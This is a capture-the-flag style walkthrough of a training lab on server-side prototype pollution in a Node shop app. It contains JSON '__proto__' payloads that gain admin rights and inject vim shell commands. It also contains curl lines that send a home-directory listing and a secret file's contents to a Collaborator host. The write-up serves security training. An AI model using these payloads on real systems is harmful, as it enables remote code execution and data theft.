Lab: Exfiltrating sensitive data via server side prototype pollution

Study the address change feature

After starting the exercise, the shop should look similar to the one in the illustration.

First, we log in to the shop with our credentials wiener:peter. To do this, we click on the My account link and fill out the registration form.

After successfully logging in, we have access to our billing and shipping address. Here, we change the content of Line 1 from Wiener HQ to Hacker and Victim Inc.. We submit the form by clicking on the Submit button.

In the next step, we switch to Burp Proxy and open the HTTP history there. In the HTTP history, we search for the request POST /my-account/change-address.

We see that when the form is submitted, the data from the fields is sent to the server as JSON. The server responds with a JSON object representing our user. We send this request to the Burp Repeater. To do this, we use the CTRL+R key combination.

Identify a prototype pollution source

In Repeater, we add a new property to the JSON called __proto__, which contains an object with a json spaces property.

"__proto__": { 
	"json spaces":10 
}

The JSON in the request should look similar to the following code snippet.

{
	"address_line_1":"Hacker and Victim Inc.",
	"address_line_2":"One Wiener Way",
	"city":"Wienerville",
	"postcode":"BU1 1RP",
	"country":"UK",
	"sessionId":"IqDhI9sZbqqeUNgV6QHIUfAmZeSB6ISZ",
	"__proto__": { 
		"json spaces":10 
	}
}

After sending, we see in the Response section that our __proto__ property appears in the body (line 11). Our attempt at prototype pollution was therefore successful.

{
	  "username": "wiener",
	  "firstname": "Peter",
	  "lastname": "Wiener",
	  "address_line_1": "Hacker and Victim Inc.",
	  "address_line_2": "One Wiener Way",
	  "city": "Wienerville",
	  "postcode": "BU1 1RP",
	  "country": "UK",
	  "isAdmin": true,
	  "json spaces": 10
}

Probe for remote code execution

In our browser we see a link with the name Admin panel.

When we open this link, we are taken to a page where there is a button called Run maintenance jobs.

If we click on this button, we receive the following information.

Apparently, we use the button to start some jobs on the backend. This is a classic example of a function that can create child Node processes. Let's now try to infect the prototype with a malicious child_process.execSync() property that triggers interaction with the public Burp Collaborator server. We now switch to Burp Repeater and add the following property to our JSON.

"__proto__": { 
	"shell":"vim", 
	"input":":! curl https://YOUR-COLLABORATOR-ID.oastify.com\n" 
}

Make sure that you enter your Collaborator ID. To do this, open the Collaborator and click on the Copy to clipboard button.

The complete JSON in our request should now look like this:

{
	"address_line_1":"Hacker and Victim Inc.",
	"address_line_2":"One Wiener Way",
	"city":"Wienerville",
	"postcode":"BU1 1RP",
	"country":"UK",
	"sessionId":"3vsj4892HHyDxzrXiUBCjef7mvQ8Gspk",
	"__proto__": { 
		"shell":"vim", 
		"input":":! curl https://yegzf1e3wsoy6ismtwfbsmngu70yopce.oastify.com\n" 
}}

We now send the request and switch to our browser. If we now click the Run maintenance jobs button again, we see that the jobs are no longer working.

Now we open our Burp Collaborator and see that we have received DNS and HTTP messages. The DNS interactions confirm the execution of remote code.

Leak the hidden file name

Now, in Burp Repeater, let's change the payload in our malicious input parameter to a command that passes the contents of Carlos' home directory to the public Burp Collaborator server. Here's one way we can do that:

"input":":! ls /home/carlos | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\n"

This command line is briefly explained below:

Bestandteil
Erklärung

:!

Vim command: Executes a shell command from the editor. Everything after this is passed to the shell.

ls /home/carlos

Lists the files and directories in the /home/carlos folder.

(Pipe "|")

base64

Encodes the input in Base64 so that special characters or line breaks can be transmitted safely.

(second Pipe "|")

curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com

Sends the input (@- means: "read data from STDIN") as an HTTP POST request (-d) to the specified URL (oastify.com is a Burp Collaborator service to catch exfiltrated data).

https://YOUR-COLLABORATOR-ID.oastify.com

Placeholder for your own Burp Collaborator instance. The coded output then ends up there.

The JSON code in the request should now look like this:

{
	"address_line_1":"Hacker and Victim Inc.",
	"address_line_2":"One Wiener Way",
	"city":"Wienerville",
	"postcode":"BU1 1RP",
	"country":"UK",
	"sessionId":"3vsj4892HHyDxzrXiUBCjef7mvQ8Gspk",
	"__proto__": { 
		"shell":"vim", 
		"input":":! ls /home/carlos | base64 | curl -d @- https://aftweae6cg6ofoboiax1mwk7uy0pojc8.oastify.com\n" 
}
}

After sending the request, we switch to our browser, refresh the Admin panel, and click the Run maintenance jobs button again. Now we see that all jobs have failed during execution.

Now we switch to Burp Collaborator and see that we have received DNS and HTTP messages again. This time, however, we see a POST request with a Base64-encoded body.

We now open the Burp Decoder and encode the Base64-encoded body. To do this, we select Base64 in the Decode as ... drop-down field. In the lower text field we then see the output node_apps and secret.

Exfiltrate the contents of the secret file

We will now modify the command ls /home/carlos so that we can extract the contents from secret. The command cat is useful for this purpose. The complete code line now looks like this:

"input":":! cat /home/carlos/secret | base64 | curl -d @- https://aftweae6cg6ofoboiax1mwk7uy0pojc8.oastify.com\n"

The complete JSON code in our request looks like this:

{
	"address_line_1":"Hacker and Victim Inc.",
	"address_line_2":"One Wiener Way",
	"city":"Wienerville",
	"postcode":"BU1 1RP",
	"country":"UK",
	"sessionId":"3vsj4892HHyDxzrXiUBCjef7mvQ8Gspk",
	"__proto__": { 
		"shell":"vim", 
		"input":":! cat /home/carlos/secret | base64 | curl -d @- https://aftweae6cg6ofoboiax1mwk7uy0pojc8.oastify.com\n" 
	}
}

After sending the request, we switch to our browser, refresh the Admin panel, and click the Run maintenance jobs button again. Now we see that all jobs have failed during execution.

Now we switch to Burp Collaborator and see that we have received DNS and HTTP messages again. This time, however, we see a POST request with a Base64-encoded body.

We now open the Burp Decoder and decode the Base64-encoded body. To do this, we select Base64 from the Decode as ... drop-down field. In the lower text field, we then see the output 1j6KKflz51GOtMY08RUfbkTenPSY28YG.

Now let's switch back to our browser and click on the Submit solution button. In the window that appears, we paste our Base64-decoded code and click OK.

This completes the final exercise in the Prototype Pollution section.

Video Solution

Last updated